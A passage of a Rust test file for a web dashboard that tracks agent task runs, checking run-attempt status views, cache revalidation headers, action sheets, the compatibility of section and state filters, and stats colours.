21579 "still stuck".to_owned(),
21580 "do it".to_owned(),
21581 PathBuf::from("/repo"),
21582 Source::Human,
21583 );
21584 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
21585 q.put(&mut t1).expect("put");
21586 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
21587 assert_eq!(view1["latest_attempt"]["resolved"], false);
21588 assert_eq!(view1["latest_attempt"]["status"], "blocked");
21589 assert_eq!(view1["latest_attempt"]["done"], true);
21590
21591 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
21593 write_run(&runs, run_a, RunStatus::Blocked);
21594 write_run(&runs, run_b, RunStatus::Implementing);
21595 let mut t3 = Task::new(
21596 "retrying".to_owned(),
21597 "do it".to_owned(),
21598 PathBuf::from("/repo"),
21599 Source::Human,
21600 );
21601 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
21602 q.put(&mut t3).expect("put");
21603 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
21604 assert_eq!(view3["latest_attempt"]["id"], run_b);
21605 assert_eq!(view3["latest_attempt"]["resolved"], false);
21606 assert_eq!(view3["latest_attempt"]["done"], false);
21607
21608 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
21613 write_run(&runs, noop_a, RunStatus::Blocked);
21614 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
21615 let mut t2 = Task::new(
21616 "claims done".to_owned(),
21617 "do it".to_owned(),
21618 PathBuf::from("/repo"),
21619 Source::Human,
21620 );
21621 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
21622 q.put(&mut t2).expect("put");
21623 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
21624 assert_eq!(
21625 view2["latest_attempt"]["resolved"], false,
21626 "an unverified no-op claim must not read as a confirmed finish"
21627 );
21628
21629 assert!(APP_JS.contains("latest.resolved"));
21632 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
21635 assert!(APP_JS.contains("Latest attempt: "));
21636 assert!(APP_JS.contains("in flight"));
21637 assert!(APP_JS.contains("not resolved"));
21638 }
21639
21640 #[tokio::test]
21641 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
21642 let fx = Fixture::start().await;
21643 let js = fx.get("/app.js").await;
21649 assert_eq!(js.status, 200);
21650 let tag = js
21651 .header("etag")
21652 .expect("an etag to revalidate against")
21653 .to_owned();
21654 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
21655 assert_eq!(
21656 js.header("cache-control"),
21657 Some("no-cache, must-revalidate"),
21658 "the phone has to ask every time"
21659 );
21660
21661 let again = fx
21664 .get_with("/app.js", &[("if-none-match", tag.as_str())])
21665 .await;
21666 assert_eq!(
21667 again.status, 304,
21668 "a deck it already has costs one round trip"
21669 );
21670 assert!(again.body.is_empty(), "304 carries no body");
21671
21672 let weak = fx
21675 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
21676 .await;
21677 assert_eq!(weak.status, 304);
21678 let stale = fx
21679 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
21680 .await;
21681 assert_eq!(stale.status, 200, "an older build must be replaced");
21682 assert!(stale.body.contains("renderRunActions"));
21683 }
21684
21685 #[test]
21686 fn the_task_detail_has_an_actions_fab_and_sheet() {
21687 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
21688 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
21689 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
21690 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
21692 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
21693 assert!(APP_JS.contains("renderTaskActions(task);"));
21695 assert!(APP_JS.contains("renderTaskActions(null);"));
21696 let sheet = APP_JS
21698 .find("function renderTaskActions")
21699 .expect("sheet renderer");
21700 let body = &APP_JS[sheet..sheet + 3000];
21701 assert!(body.contains("changePriority("));
21702 assert!(body.contains("openTaskEdit(task)"));
21703 assert!(body.contains("renderTaskHoldBox(host"));
21704 assert!(body.contains("renderTaskDoneBox(host"));
21705 assert!(body.contains("renderTaskDeleteBox(host"));
21706 assert!(APP_JS.contains("API.priority(id)"));
21707 assert!(APP_JS.contains("API.deleteTask(id)"));
21708 assert!(APP_JS.contains("location.hash = \"#/queue\""));
21710 assert!(APP_JS.contains("$(\"task-actions-error\")"));
21712 }
21713
21714 #[test]
21715 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
21716 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
21717 let actions = INDEX_HTML
21718 .find("id=\"run-actions-box\"")
21719 .expect("actions box");
21720 assert!(task < actions, "the task entry comes first in the sheet");
21721 assert!(APP_JS.contains("renderRunTaskEntry"));
21722 assert!(APP_JS.contains("\"Open task \""));
21723 assert!(APP_JS.contains("started directly, no task"));
21725 assert!(APP_JS.contains("sheet-task-link"));
21726 assert!(APP_JS.contains("task-chip-link"));
21727 }
21728
21729 #[test]
21730 fn the_deck_never_sends_the_operator_to_a_terminal() {
21731 assert!(
21734 !APP_JS.contains("Run `magi fold` first"),
21735 "the deck must offer the fold, not prescribe a shell command"
21736 );
21737 assert!(APP_JS.contains("foldRun:"));
21738 assert!(APP_JS.contains("resumeRun:"));
21739 assert!(APP_JS.contains("renderRunActions"));
21740
21741 assert!(APP_JS.contains("armedFold"));
21743 assert!(APP_JS.contains("Yes, fold worktrees"));
21744
21745 assert!(APP_JS.contains("can no longer be resumed"));
21748 }
21749
21750 #[test]
21751 fn a_finished_run_explains_itself_with_its_own_last_line() {
21752 assert!(
21758 !APP_JS.contains("collapsed on agent quota"),
21759 "a stall must not be explained by a cause the deck did not check"
21760 );
21761 assert!(
21762 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
21763 "and a block must not offer a guess with an `or` in it"
21764 );
21765
21766 assert!(
21770 APP_JS.contains("setText(r.event, run.event || \"\")"),
21771 "the run's last line is rendered unconditionally"
21772 );
21773 assert!(
21774 !APP_JS.contains("moving && run.event"),
21775 "and never gated on the run still moving"
21776 );
21777
21778 assert!(APP_JS.contains("lost to quota"));
21780 }
21781
21782 #[test]
21804 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21805 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21806 let shapes_body_start =
21807 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21808 let shapes_close = APP_JS[shapes_body_start..]
21809 .find("].map(")
21810 .expect("the shape list is closed by its done-computing .map(...)")
21811 + shapes_body_start;
21812 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21813
21814 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21815 for entry in shapes_src.split('{').skip(1) {
21816 let waiting = entry.contains("waiting: true");
21817 let dead = entry.contains("live: \"dead\"");
21818 let status_at =
21819 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21820 let status_end = entry[status_at..]
21821 .find('"')
21822 .expect("the status string is closed")
21823 + status_at;
21824 let parked = entry.contains("display_status: \"parked\"");
21825 shapes.push((
21826 waiting,
21827 entry[status_at..status_end].to_string(),
21828 dead,
21829 parked,
21830 ));
21831 }
21832 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21833
21834 let done_rule_marker = "done: !";
21838 let done_rule_at = APP_JS[shapes_close..]
21839 .find(done_rule_marker)
21840 .expect("the done rule follows the shape list")
21841 + shapes_close
21842 + done_rule_marker.len();
21843 let includes_at = APP_JS[done_rule_at..]
21844 .find(".includes(shape.status)")
21845 .expect("the done rule ends in .includes(shape.status)")
21846 + done_rule_at;
21847 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21848 .trim()
21849 .trim_start_matches('[')
21850 .trim_end_matches(']')
21851 .split(',')
21852 .map(|s| s.trim().trim_matches('"'))
21853 .filter(|s| !s.is_empty())
21854 .collect();
21855
21856 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21857 .into_iter()
21858 .map(|(waiting, status, dead, parked)| {
21859 let done = !not_done.contains(&status.as_str());
21860 (waiting, status, dead, parked, done)
21861 })
21862 .collect();
21863
21864 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21868 if waiting {
21869 return "waiting";
21870 }
21871 if dead
21872 && !parked
21873 && !matches!(
21874 status,
21875 "merged"
21876 | "ready"
21877 | "stalled"
21878 | "blocked"
21879 | "failed"
21880 | "verified_noop"
21881 | "superseded"
21882 | "already_in_base"
21883 )
21884 {
21885 return "stale";
21886 }
21887 match status {
21888 "merged" | "ready" => "landed",
21889 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21890 | "already_in_base" => "ended",
21891 _ => "flight",
21892 }
21893 }
21894
21895 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21898 match filter_key {
21899 "active" => !done,
21900 "flight" => !done && !waiting && !dead,
21901 "stale" => !done && !waiting && dead,
21902 "waiting" => waiting,
21903 "done" => done,
21904 "all" => true,
21905 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21906 }
21907 }
21908
21909 let compatible = |section: &str, filter_key: &str| {
21910 shapes.iter().any(|(waiting, status, dead, parked, done)| {
21911 run_section(*waiting, status, *dead, *parked) == section
21912 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21913 })
21914 };
21915
21916 let expected = [
21921 ("waiting", [true, false, false, true, true, true]),
21922 ("stale", [true, false, true, false, false, true]),
21923 ("flight", [true, true, false, false, false, true]),
21924 ("landed", [false, false, false, false, true, true]),
21925 ("ended", [false, false, false, false, true, true]),
21926 ];
21927 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21928
21929 for (section, wants) in expected {
21930 for (filter_key, want) in filter_keys.iter().zip(wants) {
21931 assert_eq!(
21932 compatible(section, filter_key),
21933 want,
21934 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21935 );
21936 }
21937 }
21938
21939 assert!(
21942 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21943 );
21944 assert!(APP_JS.contains(
21945 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21946 ));
21947 assert!(APP_JS.contains(
21948 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21949 ));
21950 }
21951
21952 #[tokio::test]
21953 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21954 let dir = tempfile::tempdir().expect("tempdir");
21958 let explicit = dir.path().join("not-a-checkout");
21959 std::fs::create_dir_all(&explicit).expect("create dir");
21960 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21961
21962 let missing = dir.path().join("does-not-exist-at-all");
21963 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21964 }
21965
21966 #[test]
21967 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21968 assert!(APP_JS.contains("function statsDonutArcs"));
21969 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21970 assert!(APP_JS.contains("function statusInBucket"));
21972 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21973 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21974 let buckets = [
21975 "merged",
21976 "ready",
21977 "in_progress",
21978 "blocked",
21979 "failed",
21980 "verified_noop",
21981 "superseded",
21982 "stalled",
21983 ];
21984 for key in buckets {
21985 let var = format!("--verdict-{key}:");
21986 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21988 assert!(
21989 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21990 "{key}"
21991 );
21992 }
21993 }
21994}